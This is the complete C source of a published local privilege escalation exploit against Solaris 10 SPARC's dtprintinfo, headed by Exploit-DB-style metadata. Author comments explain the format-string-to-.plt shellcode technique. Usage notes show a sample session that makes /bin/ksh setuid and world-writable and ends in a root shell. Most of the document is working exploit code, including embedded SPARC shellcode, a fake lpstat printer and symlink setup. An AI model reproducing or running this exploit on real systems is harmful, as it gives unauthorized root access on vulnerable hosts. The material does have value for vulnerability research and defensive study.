1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 |
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "You still haven't given up on me?" -- Bruce Wayne * "Never!" -- Alfred Pennyworth * * I would like to thank ~A. for his incredible research work spanning decades, * an endless source of inspiration for me. * * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its * development took me some time. It's been almost two weeks, and I came * close to giving up a couple of times. Here's a summary of the main * roadblocks and complications I ran into while porting my dtprintinfo * format string exploit to SPARC: * * - Half word writes and similar techniques that need to print a large amount * of chars are problematic, because we have both a format string bug and a * stack-based buffer overflow, and we risk running out of stack space! We * might be able to prevent this by increasing the size of the padding buffer, * (buf2) but your mileage may vary. * * - I therefore opted for a more portable single-byte write, but SPARC is a * RISC architecture and as such it's not happy with memory operations on * misaligned addresses... So I had to figure out a possibly novel technique * to prevent the dreaded Bus Error. It involves the %hhn format string, check * it out! * * - Once I had my write-what primitive figured out, I needed to pick a suitable * memory location to patch... and I almost ran out of options. Function * activation records turned out to be cumbersome and unreliable (see my PoC * raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary * start with a null byte, and the usual OS function pointers that were * popular targets 15 years ago are not present in modern Solaris 10 releases * anymore. Finally, I noticed that the libc also contains .plt jump codes * that get executed upon function calling. Since they don't start with a null * byte, I decided to target them. * * - Instead of meddling with jump codes, to keep things simpler I decided to * craft the shellcode directly in the .plt section of libc by exploiting the * format string bug. This technique proved to be very effective, but * empirical tests showed that (for unknown reasons) the shellcode size was * limited to 36 bytes. It looks like there's a limit on the number of args, * to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes * are just enough to escalate privileges. * * After I plugged a small custom shellcode into my exploit, it worked like a * charm. Simple, isn't it?;) * * To get the libc base, use pmap on the dtprintinfo process, e.g.: * $ pmap 4190 | grep libc.so.1 | grep r-x * FE8000001224K r-x--/lib/libc.so.1 * * To grab the offset to strlen in .plt, you can use objdump as follows: * $ objdump -R /usr/lib/libc.so.1 | grep strlen * 0014369c R_SPARC_JMP_SLOTstrlen * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_intel2.c * raptor_dtprintcheckdir_sparc.c (just a proof of concept) * * Usage: * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10) * Using libc/.plt/strlen: 0xfe94369c * * Don't worry if you get a SIGILL, just run /bin/ksh anyway! * * lpstat called with -v * lpstat called with -v * lpstat called with -d * [on your xserver: double click on the fake "fnord" printer] * Illegal Instruction * $ ls -l /bin/ksh * -rwsrwsrwx 3 root bin 209288 Feb 212012 /bin/ksh * $ ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise * [previous Solaris versions are also likely vulnerable (and easier to exploit)] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 3000 // size of evil env var #define BUFSIZE2 10000 // size of padding buf #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 383 // number of stackpops /* default retloc is .plt/strlen in libc */ #define LIBCBASE 0xfe800000 // base address of libc #define STRLEN 0x0014369c // .plt/strlen offset /* calculate numeric arguments for write string */ #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ N1 = (B4 - BASE) % 0x100; \ N2 = (B2 - BASE - N1) % 0x100; \ N3 = (B1 - BASE - N1 - N2) % 0x100; \ N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ BASE += N1 + N2 + N3 + N4; \ } char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */ /* chmod("./me", 037777777777) */ "\x92\x20\x20\x01" /* sub%g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x14" /* add%o7, 0x14, %o0 */ "\xc0\x22\x20\x04" /* clr[ %o0 + 4 ] */ "\x82\x10\x20\x0f" /* mov0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "./me"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; char platform[256], release[256], display[256]; int retloc = LIBCBASE + STRLEN; int i, stackpops = STACKPOPS; unsigned base, n[strlen(sc)]; /* must be unsigned */ /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc < 2) { fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); if (argc > 2) retloc = (int)strtoul(argv[2], (char **)NULL, 0); /* evil env var: name + shellcode + padding */ bzero(buf, sizeof(buf)); memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); p += strlen("REQ_DIR="); /* padding buffer to avoid stack overflow */ memset(buf2, 'B', sizeof(buf2)); buf2[sizeof(buf2) - 1] = 0x0; /* fill the envp, keeping padding */ add_env(buf2); add_env(buf); add_env(display); add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */ add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* format string: retloc */ for (i = retloc; i - retloc < strlen(sc); i += 4) { check_zero(i, "ret location"); *((void **)p) = (void *)(i); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy*/ *((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy*/ *((void **)p) = (void *)(i); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy*/ *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy*/ } /* format string: stackpop sequence */ base = p - buf - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); /* calculate numeric arguments */ for (i = 0; i < strlen(sc); i += 4) CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base); /* check for potentially dangerous numeric arguments below 10 */ for (i = 0; i < strlen(sc); i++) n[i] += (n[i] < 10) ? (0x100) : (0); /* format string: write string */ for (i = 0; i < strlen(sc); i += 4) p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]); /* setup the directory structure and the symlink to /bin/ksh */ unlink("/tmp/just/chmod/me"); rmdir("/tmp/just/chmod"); rmdir("/tmp/just"); mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO); mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO); symlink("/bin/ksh", "/tmp/just/chmod/me"); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc); fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } } |